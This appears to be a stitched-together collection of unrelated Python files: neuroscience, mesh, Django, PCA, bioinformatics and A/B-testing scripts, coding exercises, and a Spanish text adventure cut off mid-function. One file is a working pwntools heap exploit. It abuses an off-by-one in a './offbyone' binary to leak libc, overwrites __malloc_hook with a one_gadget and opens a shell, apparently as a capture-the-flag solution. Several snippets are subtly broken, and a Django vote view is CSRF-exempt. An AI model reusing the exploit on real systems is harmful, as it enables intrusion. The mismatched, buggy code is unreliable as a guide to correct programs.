import numpy as np

def F(x,a,theta):
    '''
    Population activation function.

    Expects:
    x     : the population input
    a     : the gain of the function
    theta : the threshold of the function

    Returns:
    the population activation response F(x) for input x
    '''
    # add the expression of f = F(x)
    x = x.clip(min=0.0)
    f = ((1+np.exp(-a*(x-theta)))**-1)

    return f

tauE = 20.0/1000  #s
tauOU = 1./1000  #s
mu = 0.0
dt = 0.5/1000  # s


import numpy
from stl import mesh

# Or creating a new mesh (make sure not to overwrite the `mesh` import by
# naming it `mesh`):
VERTICE_COUNT = 100
data = numpy.zeros(VERTICE_COUNT, dtype=mesh.Mesh.dtype)
your_mesh = mesh.Mesh(data, remove_empty_areas=False)

# The mesh normals (calculated automatically)
your_mesh.normals
# The mesh vectors
your_mesh.v0, your_mesh.v1, your_mesh.v2
# Accessing individual points (concatenation of v0, v1 and v2 in triplets)
assert (your_mesh.points[0][0:3] == your_mesh.v0[0]).all()
assert (your_mesh.points[0][3:6] == your_mesh.v1[0]).all()
assert (your_mesh.points[0][6:9] == your_mesh.v2[0]).all()
assert (your_mesh.points[1][0:3] == your_mesh.v0[1]).all()

your_mesh.save('catkin_ws/src/mini_project_kokas/src/Random_Surface/new_stl_file.stl')


# The array is sorted in decreasing order

def count(arr):
    start = 0
    end = len(arr) - 1

    while start <= end:
        mid = (start + end) // 2
        if arr[mid] == 1 and (arr[mid + 1] == 0 or mid == high):
            return mid + 1
        if arr[mid] == 1:
            start = mid + 1
        else:
            end = mid - 1
    return 0

arr = [0,0,0,0]

print(count(arr))


from django.shortcuts import render, redirect, HttpResponse
from .forms import TopicForm
from django.views.decorators.csrf import csrf_exempt
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger

# Create your views here.

topic_list = list() # global variable topic list to store all post topics
topic_id = 0 # initial topic id =0, increament 1 with each post

def home(request):
    global topic_list,topic_id # set the variable to be global
    # if this is a POST request we need to process the form data
    if request.method == 'POST':
        # create a form instance and populate it with data from the request:
        form = TopicForm(request.POST)
        # check whether it's valid:
        if form.is_valid():
            topic = dict() #topic dictionary to store each topic with topic content, votes and id
            topic['topic'] = request.POST.get("topic")
            topic['votes'] = 0
            topic['id'] = topic_id
            topic_id+=1
            topic_list.append(topic)

    return redirect('/topic')

def topic(request):
    template = 'topic/index.html'

    #sort topic list based on the topic total votes
    sorted_topics_list = sorted(topic_list, key=lambda k: k['votes'],reverse=True)

    #topic pagination with 20 topics per page
    page = request.GET.get('page', 1)
    paginator = Paginator(sorted_topics_list, 20)
    try:
        page_sorted_topics_list = paginator.page(page)
    except PageNotAnInteger:
        page_sorted_topics_list = paginator.page(1)
    except EmptyPage:
        page_sorted_topics_list = paginator.page(paginator.num_pages)

    form = TopicForm()

    context = {
        'topic_list':page_sorted_topics_list,
        'form':form
    }
    return render(request,template,context)

@csrf_exempt
def vote(request):
    if request.method == 'POST':
        voted_topic_id = int(request.POST.get("id"))
        vote_type = request.POST.get("type")
        voted_topic_index = next(index for (index, d) in enumerate(topic_list) if d["id"] == voted_topic_id)
        if vote_type =="positive":
            topic_list[voted_topic_index]['votes']+=1
        elif vote_type =="negative":
            topic_list[voted_topic_index]['votes']-=1
        else:
            return HttpResponse('error-unknown vote type')
        voted_topic_votes = topic_list[voted_topic_index]['votes']
        return HttpResponse(voted_topic_votes)


#!/usr/bin/python3
"""
base.py module
"""
import turtle
import json
import csv

class Base:
    """
    Base class.
    """

    __nb_objects = 0

    def __init__(self, id=None):
        """
        Initialize a Base instance.

        Args:
            id (int, optional): Unique identifier for the instance. Defaults to None.
        """
        if id is not None:
            self.id = id
        else:
            Base.__nb_objects += 1
            self.id = Base.__nb_objects

    @classmethod
    def save_to_file_csv(cls, list_objs):
        """
        Write the CSV representation of list_objs to a file.

        Args:
            list_objs (list): List of instances to be written to the file.
        """
        csv_file = cls.__name__ + ".csv"
        fieldnames = ['id', 'width', 'height', 'x', 'y'] if cls.__name__ == "Rectangle" else ['id', 'size', 'x', 'y']

        with open(csv_file, "w") as file:
            writer = csv.DictWriter(file, fieldnames=fieldnames)
            writer.writeheader()
            writer.writerows(obj.to_dictionary() for obj in list_objs) if list_objs else []

    @classmethod
    def load_from_file_csv(cls):
        """
        Load a list of instances from a CSV file.

        Returns:
            list: List of instances.
        """
        csv_file = cls.__name__ + ".csv"
        fieldnames = ['id', 'width', 'height', 'x', 'y'] if cls.__name__ == "Rectangle" else ['id', 'size', 'x', 'y']

        try:
            with open(csv_file, "r") as file:
                reader = csv.reader(file, delimiter=',')
                return [cls(**{field: int(value) for field, value in zip(fieldnames, row) if value}) for i, row in enumerate(reader) if i > 0]
        except FileNotFoundError:
            return []

    @classmethod
    def load_from_file(cls):
        """
        Load a list of instances from a JSON file.

        Returns:
            list: List of instances.
        """
        try:
            with open(str(cls.__name__) + ".json", "r") as file:
                l = cls.from_json_string(file.read())

            num_ins = len(l)
            instances = []
            for y in range(num_ins):
                instances.append(cls.create(**l[y]))

            return instances
        except FileNotFoundError:
            return []

    @classmethod
    def create(cls, **dictionary):
        """
        Create an instance with all attributes already set.

        Args:
            **dictionary: Dictionary containing the instance's attributes.

        Returns:
            Base: New instance with the given attributes.
        """
        if cls.__name__ == "Rectangle":
            dummy = cls(1, 1)
        else:
            dummy = cls(1)
        dummy.update(**dictionary)
        return dummy

    @classmethod
    def save_to_file(cls, list_objs):
        """
        Write the JSON representation of list_objs to a file.

        Args:
            list_objs (list): List of instances to be written to the file.
        """
        if list_objs is None or list_objs == []:
            l = []
        else:
            l = [i.to_dictionary() for i in list_objs]
        with open(cls.__name__ + ".json", "w") as file:
            file.write(cls.to_json_string(l))

    @staticmethod
    def from_json_string(json_string):
        """
        Return the list from the JSON string representation json_string.

        Args:
            json_string (str): JSON string representation.

        Returns:
            list: List from the JSON string representation.
        """
        if json_string is None or len(json_string) == 0:
            return json.loads("[]")
        return json.loads(json_string)

    @staticmethod
    def to_json_string(list_dictionaries):
        """
        Return the JSON string representation of list_dictionaries.

        Args:
            list_dictionaries (list): List of dictionaries.

        Returns:
            str: JSON string representation of list_dictionaries.
        """
        if list_dictionaries is None or len(list_dictionaries) == 0:
            return json.dumps([])
        return json.dumps(list_dictionaries)

    @staticmethod
    def draw(list_rectangles, list_squares):
        """
        Draw all Rectangles and Squares using the Turtle graphics module.

        Args:
            list_rectangles (list): List of Rectangle instances.
            list_squares (list): List of Square instances.
        """
        #tha screen
        screen = turtle.Screen()
        screen.setup(width=800, height=600)

        #za object
        t = turtle.Turtle()
        #speed
        t.speed(1)

        #draw the rectangle
        for rect in list_rectangles:
            t.penup()
            t.goto(rect.x, rect.y)
            t.pendown()
            t.forward(rect.width)
            t.left(90)
            t.forward(rect.height)
            t.left(90)
            t.forward(rect.width)
            t.left(90)
            t.forward(rect.height)
            t.left(90)

        #draw the square
        for square in list_squares:
            t.penup()
            t.goto(square.x, square.y)
            t.pendown()
            t.forward(square.size)
            t.left(90)
            t.forward(square.size)
            t.left(90)
            t.forward(square.size)
            t.left(90)
            t.forward(square.size)
            t.left(90)

        screen.exitonclick()


"""
Exercício Python 084: Faça um programa que leia nome e peso de várias pessoas,                                      guardando tudo em uma lista. No final, mostre:
A) quantas pessoas foram cadastradas
B) listagem com as pessoas mais pesadas
C) listagem com as pessoas mais leves
"""

pessoas = list()

while True:
    pessoas.append([str(input('Nome: ')), float(input('Peso: '))])

    continuar = input('Deseja continuar? [S/N] ').upper()
    while continuar not in 'SN':
        continuar = input('Tente novamente. Deseja continuar? [S/N] ').upper()
    if continuar == 'N':
        break

pessoasMaisPesadas = 0
pessoasMaisLeves = 0

for pessoa in pessoas:
    if pessoa[1] > 80:
        pessoasMaisPesadas += 1
    elif pessoa[1] < 50:
        pessoasMaisLeves += 1

print('Foram cadastradas {} pessoas.'.format(len(pessoas)))
print('Foram cadastradas {} pessoas mais pesadas (+80).'.format(pessoasMaisPesadas))
print('Foram cadastradas {} pessoas mais leves (-50).'.format(pessoasMaisLeves))


import numpy as np

X = np.array([[10, 15, 29],
              [15, 46, 13],
              [23, 21, 30],
              [11, 9,  35],
              [42, 45, 11],
              [9,  48, 5],
              [11, 21, 14],
              [8,  5,  15],
              [11, 12, 21],
              [21, 20, 25]])
class PCA:
    def __init__(self,X,K):
        self.X = X
        self.K = K
    def Centralized(self):
        '''
        样本中心化，样本值减去均值
        :return:
        '''
        # 求平均值
        mean = np.mean(self.X, axis=0)  # axis=0，计算每一列的均值
        # 中心化
        Center_X = self.X-mean
        print("中心化：\n",Center_X)
        return Center_X
    def Covariance(self):
        '''求中心化后数据的协方差'''
        Center_X = self.Centralized()
        m = Center_X.shape[0]
        Cov_Array = np.dot(Center_X.T,Center_X)*(1/(m-1))
        print("协方差矩阵：\n",Cov_Array)
        return Cov_Array
    def Eigenvalues_and_eigenvectors(self,X):
        '''求特征值与特征向量'''
        eigenvalue, eigenvectors = np.linalg.eig(X)
        print("特征值：\n",eigenvalue)
        print("特征向量：\n",eigenvectors)
        return eigenvalue,eigenvectors
    def Calculation_PCA(self):
        '''计算PCA'''

        # 获取协方差矩阵
        Cov_Array = self.Covariance()
        # 获取协方差矩阵的特征值和特征向量矩阵（列对应的是特特征向量）
        eigenvalue, eigenvectors = self.Eigenvalues_and_eigenvectors(Cov_Array)
        # 获取特征值从大到小排序下标
        # eigenvalue_sort = eigenvalue.argsort()[::-1]
        eigenvalue_sort = np.argsort(-1*eigenvalue)
        # 取前K个特征向量
        eigenvectors_Top_K = []
        for i in range(self.K):
            eigenvectors_Top_K.append(eigenvectors[:,eigenvalue_sort[i]].tolist())
        eigenvectors_Top_K = np.transpose(np.array(eigenvectors_Top_K))
        print("特征值排序：\n",eigenvalue_sort)
        print("特征值排序前K个特征值对应的特征向量：\n",eigenvectors_Top_K)
        # 用原始数据 点乘 前K个特征向量
        PCA_X = np.dot(self.X,eigenvectors_Top_K)
        print("PCA结果：\n",PCA_X)

pca = PCA(X,2)
# pca.Centralized()
# Cov_Array = pca.Covariance()
# pca.Eigenvalues_and_eigenvectors(Cov_Array)
pca.Calculation_PCA()


#!/usr/bin/env python

"""
    Read all fasta files and build a sorted OTU contingency
    table.
"""

from __future__ import print_function

__author__ = "Frédéric Mahé <frederic.mahe@cirad.fr>, edited by Joe Vineis <jvineis@gmail.com>"
__date__ = "2022/03/15"
__version__ = "1.0"

import os
import re
import sys
import operator
import argparse

#*****************************************************************************#
#                                                                             #
#                                  Functions                                  #
#                                                                             #
#*****************************************************************************#

parser = argparse.ArgumentParser(description='''This script takes the output returned from swarmv3.1 - when run like this "swarm -d 1 -f -t 40 -z pooled-samples-derep.fa -i pooled-samples-derep-struct.txt -s pooled-samples-derep-stats.txt -w pooled-samples-node-representatives.fa -o pooled-samples-node-table.txt"''')
parser.add_argument('-repfa', help = "The fasta of represenataive sequences for each swarm (-w flag) and then sorted using vsearch")
parser.add_argument('-stats' , help = "The swarm stats file (-s flag)")
parser.add_argument('-swarms', help = "The swarms table output of the -o flag in swarm")
parser.add_argument('-l' , help = "A single column list of the names of the dereplicated fasta files-should look something like this ERR562370-primer-derep - and the corresponding fasta file should look like this ERR562370-primer-derep.fa")
args = parser.parse_args()

def representatives_parse():
    """
    Get seed sequences.
    """
    separator = ";size="
    representatives_file = args.repfa
    representatives = dict()
    with open(representatives_file, "r") as representatives_file:
        for line in representatives_file:
            if line.startswith(">"):
                amplicon = line.strip(">;\n").split(separator)[0]
            else:
                representatives[amplicon] = line.strip()

    return representatives

def stats_parse():
    """
    Map OTU seeds and stats.
    """
    separator = "\t"
    stats_file = args.stats
    stats = dict()
    seeds = dict()
    with open(stats_file, "r") as stats_file:
        for line in stats_file:
            cloud, mass, seed, seed_abundance = line.strip().split(separator)[0:4]
            stats[seed] = int(mass)
            seeds[seed] = (int(seed_abundance), int(cloud))
    # Sort OTUs by decreasing mass
    sorted_stats = sorted(stats.items(),
                          key=operator.itemgetter(1, 0))
    sorted_stats.reverse()

    return stats, sorted_stats, seeds

def swarms_parse():
    """
    Map OTUs.
    """
    separator = "_[0-9000000]+|;size=[0-9000000]+;?| "  # parsing of abundance annotations
    swarms_file = args.swarms
    swarms = dict()
    with open(swarms_file, "r") as swarms_file:
        for line in swarms_file:
            line = line.strip()
            amplicons = re.split(separator, line)[0::2]
            seed = amplicons[0]
            swarms[seed] = [amplicons]

    return swarms

def fasta_parse():
    """
    Map amplicon ids, abundances and samples. These must be dereplicated fastas.
    """
    separator = ";size="
    fasta_files = open(args.l, 'r')
    samples = dict()
    amplicons2samples = dict()
    for fasta_file in fasta_files:
        fa = fasta_file.strip()+".fa"
        sample = fasta_file.split("-")[0]
        samples[sample] = samples.get(sample, 0) + 1
        with open(fa, "r") as fasta_file:
            for line in fasta_file:
                if line.startswith(">"):
                    amplicon, abundance = line.strip(">;\n").split(separator)
                    abundance = int(abundance)
                    if amplicon not in amplicons2samples:
                        amplicons2samples[amplicon] = {sample: abundance}
                    else:
                        # deal with duplicated samples
                        amplicons2samples[amplicon][sample] = amplicons2samples[amplicon].get(sample, 0) + abundance
    # deal with duplicated samples
    duplicates = [sample for sample in samples if samples[sample] > 1]
    if duplicates:
        print("Warning: some samples are duplicated", file=sys.stderr)
        print("\n".join(duplicates), file=sys.stderr)
    samples = sorted(samples.keys())

    return amplicons2samples, samples

def print_table(representatives, stats, sorted_stats,
                swarms, amplicons2samples,
                samples, seeds):
    """
    Export results.
    """
    # Print table header
    print("OTU", "total", "cloud",
          "amplicon", "length", "abundance",
          "spread",
          "sequence",
          "\t".join(samples),
          sep="\t", file=sys.stdout)

    # Print table content
    i = 1
    for seed, abundance in sorted_stats:
        sequence = representatives[seed]
        occurrences = dict([(sample, 0) for sample in samples])
        for amplicons in swarms[seed]:
            for amplicon in amplicons:
                for sample in samples:

                    occurrences[sample] += amplicons2samples[amplicon].get(sample, 0)
        spread = len([occurrences[sample] for sample in samples if occurrences[sample] > 0])
        sequence_abundance, cloud = seeds[seed]

        # output
        print(i, abundance, cloud,
              seed, len(sequence), sequence_abundance,
              spread, sequence,
              "\t".join([str(occurrences[sample]) for sample in samples]),
              sep="\t", file=sys.stdout)
        i += 1

    return

def main():
    """
    Read all fasta files and build a sorted OTU contingency table.
    """
    # Parse the representative sequences for each swarm
    representatives = representatives_parse()

    # Parse stats
    stats, sorted_stats, seeds = stats_parse()

    # Parse swarms
    swarms = swarms_parse()

    # Parse fasta files
    amplicons2samples, samples = fasta_parse()

    # Print table header
    print_table(representatives, stats, sorted_stats, swarms,
                amplicons2samples, samples,
                seeds)

    return

#*****************************************************************************#
#                                                                             #
#                                     Body                                    #
#                                                                             #
#*****************************************************************************#

if __name__ == '__main__':

    main()

sys.exit(0)


import pandas

def speed():
    df = pandas.read_csv("Columns/01_tracks.csv")
    try:
        id = int(input("plese enter id of the pedestrain to extract speed at each time step: "))
        print("Printing speed of the pedestrian with id ",id," at each time step\n")
        print(df["xVelocity"][df["id"] == id])
    except:
        print("Incorrect input")

speed()


from pwn import *

p = process('./offbyone')
context.log_level = 'debug'

def launch_gdb():
    context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])

def new(s,c):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('size')
    p.sendline(str(s))
    p.recvuntil('data')
    p.send(c)

def delete(i):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index')
    p.sendline(str(i))

def show(i):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('index?')
    p.sendline(str(i))

def edit(i,s):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('index?')
    p.sendline(str(i))
    p.recvuntil('data')
    p.send(s)
# launch_gdb()
new(0x28,'zzz') # 0
new(0xf0,'aaa') # 1
new(0x60,'/bin/sh\x00') # 2
new(0x60,'/bin/sh\x00') # 3
edit(0,p64(0) * 5 + p8(0x71))
delete(1)
new(0xf0,'a') # 1
show(1)
leak = p.recv(6).ljust(8,'\x00')
leak = u64(leak)
log.info('leak ' + hex(leak))
libc_base = leak - 3951713
malloc_hook = 3951376 + libc_base
sys_addr = 0xf0364 + libc_base
realloc_addr = 542480 + libc_base
new(0x60,'/bin/sh\x00') # 4
delete(4)
delete(3)
delete(2)
'''
0x45226	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

'''
new(0x60,p64(malloc_hook - 0x23))
new(0x60,p64(malloc_hook - 0x23))
new(0x60,p8(0) * 0xb + p64(sys_addr) + p64(realloc_addr))
# new(0x60,p8(0) * 0xb + p64(sys_addr) + p64(realloc_addr))
new(0x60,p8(0) * 0x13 + p64(sys_addr))
delete(2)
delete(4)
# p.recvuntil('>')
# p.sendline('1')
# p.recvuntil('size')
# p.sendline('0')
p.interactive()


#########################################
# AB Testing
#########################################

# -------------------------------------------------------------------------------------------------------------------

# Business Problem

""""
Company X has recently introduced a new type of bidding, average bidding,
as an alternative to the current type of bidding called maximum bidding.
One of our clients, bombabomba.com, decided to test this new feature and
wants to do an A/B test to see if average bidding converts more than maximum bidding.
"""

# Dataset Story:
""""
In this dataset, which includes the website information of bombabomba.com,
there is information such as the number of advertisements that users see and click,
as well as earnings information from here.

There are two separate data sets, the control and test groups.

The max binding strategy was presented to the control group, and the average binding strategy was presented to the test group.
"""

# Features:

# Total Features : 4
# Total Row : 40
# CSV File Size : 26 KB

""""
- Impression : Ad views count
- Click : The number of clicks on the displayed ad
- Purchase : The number of products purchased after the ads clicked
- Earning : Earnings after purchased products
"""

# -------------------------------------------------------------------------------------------------------------------

import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
from scipy.stats import shapiro, levene, ttest_ind

pd.set_option('display.max_columns', None)
pd.set_option('display.float_format', lambda x: '%.4f' % x)

A_ = pd.read_excel("ab_testing.xlsx", sheet_name="Control Group")
B_ = pd.read_excel("ab_testing.xlsx", sheet_name="Test Group")

# Missing Value Analysis - Function
def missing_values_analysis(df):
    na_columns_ = [col for col in df.columns if df[col].isnull().sum() > 0]
    n_miss = df[na_columns_].isnull().sum().sort_values(ascending=True)
    ratio_ = (df[na_columns_].isnull().sum() / df.shape[0] * 100).sort_values(ascending=True)
    missing_df = pd.concat([n_miss, np.round(ratio_, 2)], axis=1, keys=['Total Missing Values', 'Ratio'])
    missing_df = pd.DataFrame(missing_df)
    return missing_df

# Let's define the auxiliary functions that we will use in the study
def check_df(df, head=5, box=False, column="Purchase"):
    print("--------------------- Shape ---------------------")
    print(df.shape)

    print("---------------------- Types --------------------")
    print(df.dtypes)

    print("--------------------- Head ---------------------")
    print(df.head(head))

    print("--------------------- Missing Value Analysis ---------------------")
    print(missing_values_analysis(df))

    print("--------------------- Quantiles ---------------------")
    print(df.quantile([0, 0.05, 0.50, 0.95, 0.99, 1]).T)

    print("--------------------- BOX PLOT ---------------------")
    if box == True:
        sns.boxplot(x=df[column])
        print(plt.show())

check_df(A_,box=True)

check_df(B_,box=True)

""""
The success criterion for Bombomba.com is the Number of Purchases.
For this reason, we will examine the Procurement variable.
There are no missing values in either dataset.
Also, there are no outliers in the Number of Purchases.

-----> Everything is going well...

"""

#--------------------------------------------------------------------

# Let's start A/B TEST
""""
It is used when it is desired to make a comparison between the mean of two groups.

1. Assumption Check¶
    1- Normality Assumption
    2- Variance Homogeneity

2. Implementation of the Hypothesis
    1- Independent two-sample t-test (parametric test) if assumptions are met.
    2- Mannwhitneyu test if assumptions are not met (non-parametric test).

If the normality is not provided, the mannwhitneyu test should be applied directly.
If the normality assumption is provided but the variance homogeneity is not provided,
the equal_var parameter can be set to False for the two-sample t-test.
"""

# Let's name them clearly, as we're going to merge and organize the datasets.

A_.columns = [i+"_A" for i in A_.columns]
A_.head()

B_.columns = [i+"_B" for i in B_.columns]
B_.head()

# Merge the dataset
df = pd.concat([A_, B_], axis=1)
df.head()

""""
   Impression_A   Click_A  Purchase_A  Earning_A  Impression_B   Click_B     Purchase_B  Earning_B
0    82529.4593 6090.0773    665.2113  2311.2771   120103.5038 3216.5480     702.1603    1939.6112
1    98050.4519 3382.8618    315.0849  1742.8069   134775.9434 3635.0824     834.0543    2929.4058
2    82696.0235 4167.9657    458.0837  1797.8274   107806.6208 3057.1436     422.9343    2526.2449
3   109914.4004 4910.8822    487.0908  1696.2292   116445.2755 4650.4739     429.0335    2281.4286
4   108457.7626 5987.6558    441.0340  1543.7202   145082.5168 5201.3877     749.8604    2781.6975
"""

# Hypotheses

""""
---- OUR HYPOTHESIS H0 AND H1 ----

H0: M1 = M2
--> There is no statistical difference between the average purchase earned,
    by the maximum binding strategy and the average purchase achieved by the average binding strategy.

H1: M1 != M2
--> There is a statistical difference between the average purchase earned,
    by the maximum binding strategy and the average purchases earned by the average binding strategy.
"""

print(" Mean of purchase of control group: %.4f" %A_['Purchase'].mean(), "\n",
      "Mean of purchase of test group: %.4f"  %B_['Purchase'].mean())

# OUT:  Mean of purchase of control group: 550.8941
# OUT:   Mean of purchase of test group: 582.1061

""""
There is a mathematical difference when looking at the purchasing rates for the two groups.
Group B, the average binding strategy, seems to be more successful.
But we do not know whether this difference is statistically significant.
To understand this, we must apply hypothesis testing.
"""

# Assumption Check

""""
1. Normality Assumption
    -H0: There is no statistically significant difference between sample distribution and theoretical normal distribution

    -H1: There is statistically significant difference between sample distribution and theoretical normal distribution

The test rejects the hypothesis of normality when the p-value is less than or equal to 0.05.
We do not want to reject the null hypothesis in the tests that might be considered for assumptions.

p-value < 0.05 (H0 rejected)
p-value > 0.05 (H0 not rejected)
"""

# Shapiro-Wilks Test for Control Group
test_st , p_value = shapiro(A_["Purchase_A"])
print('Test statistic = %.4f, P-Value = %.4f' % (test_st, p_value))

# OUT : Test statistic = 0.9773, P-Value = 0.5891

""""
*** P-VALUE = 0.5891 ***
--> Since the p value is not less than 0.05,
the h0 hypothesis cannot be rejected. That is, the assumption of normality is provided for the control group.
"""

# Shapiro-Wilks Test for Control Group
test_st , p_value = shapiro(B_["Purchase_B"])
print('Test statistic = %.4f, P-Value = %.4f' % (test_st, p_value))

# OUT: Test statistic = 0.9589, p-Value = 0.1541

""""
*** P-VALUE = 0.1541 ***
--> Since the p value is not less than 0.05,
the h0 hypothesis cannot be rejected. That is, the assumption of normality is provided for the control group.
"""

"""
1. Variance Assumption

    -H0: the compared groups have equal variance.
    -H1: the compared groups do not have equal variance.

We do not want to reject the null hypothesis in the tests that might be considered for assumptions.

p-value < 0.05 (H0 rejected)
p-value > 0.05 (H0 not rejected)
"""

# Levene Test
test_st, p_value = levene(df["Purchase_A"],df["Purchase_B"])
print('Test statistic = %.4f, p-Value = %.4f' %(test_st, p_value))

# OUT : Test statistic = 2.6393, p-Value = 0.1083

""""
*** P-VALUE = 0.1083 ***
--> Since the p value is not less than 0.05,
the h0 hypothesis cannot be rejected. That is, the assumption of variance is provided.
"""

# Assumptions provided. Thus, we can apply the independent two-sample t-test (parametric test).

test_st, p_value = ttest_ind(df["Purchase_A"], df["Purchase_B"], equal_var=True)
print('tvalue = %.4f, pvalue = %.4f' %(test_st, p_value))

# OUT : tvalue = -0.9416, pvalue = 0.3493

# Result :
"""
**** P-VALUE = 0.3493 Since the p value is not less than 0.05, the h0 hypothesis cannot be rejected.
---> So, There is no statistically significant difference between, the Control( “maximum bidding”)
     campaign and Test group(average bidding) campaign.
"""


#reverse a group of array
def reverseGroup(arr,k):
  i = 0
  n = len(array)
  while i < n:
    left = i
    right = min(i+k-1,n-1)
    print(left,right)
    while left < right:
      array[left],array[right] = array[right],array[left]
      left +=1
      right-=1
    i += k
  return array

array = [1,2,3,4,5,6,7,8]
print(reverseGroup(array,3))

LeetCode 75/Python LeetCode 75/reverseGroupofArray.py


class Node:
    def __init__(self, value=None):
        super().__init__()
        self.value = value
        self.left = None
        self.right = None

    def add(self, value):
        if self.value == None:
            self.value = value
        # Check Left
        elif value < self.value:
            # Assign to Left if None
            if self.left == None:
                self.left = Node(value)
            # Move Left
            else:
                self.left.add(value)
        # Check Right
        elif value > self.value:
            # Assign to Right if None
            if self.right == None:
                self.right = Node(value)
            # Move Right
            else:
                self.right.add(value)
        # Do not duplicate
        else:
            pass

    def __str__(self):
        return str(self.value)


import time
import random
import os

class Enemigo:
    def __init__(self, nombre, vida, ataques, velocidad):
        self.nombre = nombre
        self.vida = vida
        self.ataques = ataques
        self.velocidad = velocidad

    def atacar(self):
        ataque = random.choice(self.ataques)
        return f"{self.nombre} usa {ataque} para atacar."

    def recibir_danio(self, danio):
        self.vida -= danio
        if self.vida <= 0:
            return f"{self.nombre} ha sido derrotado."
        else:
            return f"{self.nombre} ha recibido {danio} de daño y tiene {self.vida} puntos de vida restantes."

    def escapar(self):
        chance = random.random()
        if chance < self.velocidad:
            return f"{self.nombre} ha escapado con éxito."
        else:
            return f"{self.nombre} no pudo escapar y sigue en la batalla."

    def usar_item(self, item):
        return f"{self.nombre} usa el item {item}."

# Enemigos
enemigo_orco = Enemigo("Orco", 100, ["Golpe fuerte", "Gruñido aterrador", "Ataque feroz"], 0.3)

def funcion_combate(enemigo):
    print("\nInicia un combate con: "+enemigo.nombre)
    time.sleep(1)
    print("Ganaste el combate.")
    time.sleep(1)

def dexto(texto,timp):
    for i in range(len(texto)):
        print(str(texto[i]),end="")
        time.sleep(timp)
    print("")

def iniciar_aventura():
    global x
    global y
    global terminar
    global mostrar_zona
    global zonas
    global coordenadas
    os.system('cls')
    print("¡Bienvenido a la Aventura titulada: 20 Natural, Aventuras en Niria!")
    time.sleep(1)
    print("Estás en un bosque misterioso de Kanta. No tienes idea de cómo llegaste aquí.")
    time.sleep(1)
    print("Frente a ti, ves cuatro caminos. ¿Cuál eliges?")
    time.sleep(1)
    input("\nContinuar...")
    os.system('cls')
    while terminar==False:
        mostrar_mapa()
        print("\n***Opciones***")
        print("1. Ir al Norte.")
        print("2. Ir al Sur.")
        print("3. Ir al Este.")
        print("4. Ir al Oeste.")
        print("5. Explorar.")
        print("6. Información.")
        eleccion = input("Elige una opción: ")
        os.system('cls')
        xtemp=x
        ytemp=y

        if eleccion == "1":
            y=y-1
        elif eleccion == "2":
            y=y+1
        elif eleccion == "3":
            x=x+1
        elif eleccion == "4":
            x=x-1
        elif eleccion=="5":
            mostrar_zona=True
        elif eleccion=="6":
            mostrar_inventario()
        else:
            print("Opción no válida. Elige una opción válida.")

        avanzado=False
        indis=0
        for funcion in zonas:
            cordis=coordenadas[indis]
            cx=cordis[0]
            cy=cordis[1]
            if x==cx and y==cy:
                funcion()
                input("\nContinuar...")
                os.system('cls')
                avanzado=True
            indis=indis+1
        if avanzado==False:
            print("No hay camino en esa dirección. Elige Otro camino.")
            x=xtemp
            y=ytemp
        mostrar_zona=False
    print("HAZ MUERTO!!! O__o")
    time.sleep(5)
    os.system('cls')

def mostrar_mapa():
    global coordenadas
    global x
    global y
    print("\n****Mapa****\n")
    max_x = max(coordenada[0] for coordenada in coordenadas)
    max_y = max(coordenada[1] for coordenada in coordenadas)
    min_x = min(coordenada[0] for coordenada in coordenadas)
    min_y = min(coordenada[1] for coordenada in coordenadas)

    # Crea una cuadrícula de asteriscos
    grid = [[' * ' for _ in range(max_x + 1)] for _ in range(max_y + 1)]

    # Marca las coordenadas con 'X' en la cuadrícula
    con=0
    actual_indice=coordenadas.index([x,y])
    for ux, uy in coordenadas:
        if con==actual_indice:
            grid[uy][ux] = ' O '
        else:
            grid[uy][ux] = ' X '
        con=con+1

    # Imprime la cuadrícula en pantalla
    for fila in grid:
        print(''.join(fila))

def mostrar_inventario():

    print("\n****Inventario****\n")
    if len(inventario) == 0:
        print("*inventario vacio.")
    else:
        for item in inventario:
            print(f"- {item}")
    print("\ntienes "+str(dinero)+"$ murciemonedas")
    print("\n****Descripción****")

def camino_norte():
    global dinero
    global terminar
    if mostrar_zona==False:
        print("\nVisualisas un sendero.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Caminas por un sendero estrecho y encuentras un cofre escondido.")
        time.sleep(1)
        print("¿Qué haces?")
        time.sleep(1)
        while True:
            print("\nOpciones:")
            print("1. Abrir el cofre.")
            print("2. Ignorar el cofre y seguir adelante.")
            eleccion = input("Elige una opción (1/2): ")
            releccion=random.randint(1,4)

            if eleccion == "1":
                if releccion == 1:
                    print("\nDentro del cofre encuentras una gema preciosa con un valor de 500 murciemonedas. ¡Has tenido suerte!")
                    inventario.append("Gema")
                    dinero=dinero+500
                if releccion == 2:
                    print("\nDentro del cofre encuentras una chanwich. ¡al menos no te moriras de hambre!")
                    inventario.append("Chanwich")
                if releccion == 3:
                    print("\nEra un cofre trampa. ¡Te comió!")
                    inventario.append("Cabeza")
                    terminar=True
                if releccion == 4:
                    print("\nDentro del cofre encuentras 1000 murciemonedas. ¡eres murciemillonario!")
                    inventario.append("Bolsa con dinero")
                    dinero=dinero+1000
                break
            elif eleccion == "2":
                print("\nDecides seguir adelante sin abrir el cofre.")
                break
            else:
                print("Opción no válida. Elige una opción válida (1/2).")
        if terminar==False:
            print("Sigues avanzando y te encuentras con un leñador que te ofrece comida y refugio para la noche. Aceptas su amable oferta y descansas.")
            time.sleep(1)
            print("A la mañana siguiente, el leñador te da un mapa que te muestra el camino de regreso a casa.")
            time.sleep(1)
            print("¡Has completado la primera parte de la aventura!")
            mostrar_inventario()

def camino_sur():
    global llave_oeste
    if mostrar_zona==False:
        print("\nVes un gran rio a lo lejos.")
        time.sleep(1)
    if mostrar_zona==True:
        print("Sigues el camino y llegas al río.")
        time.sleep(1)
        print("¿Qué haces?")
        time.sleep(1)

        while True:
            print("\nOpciones:")
            print("1. Intentar cruzar el río a nado.")
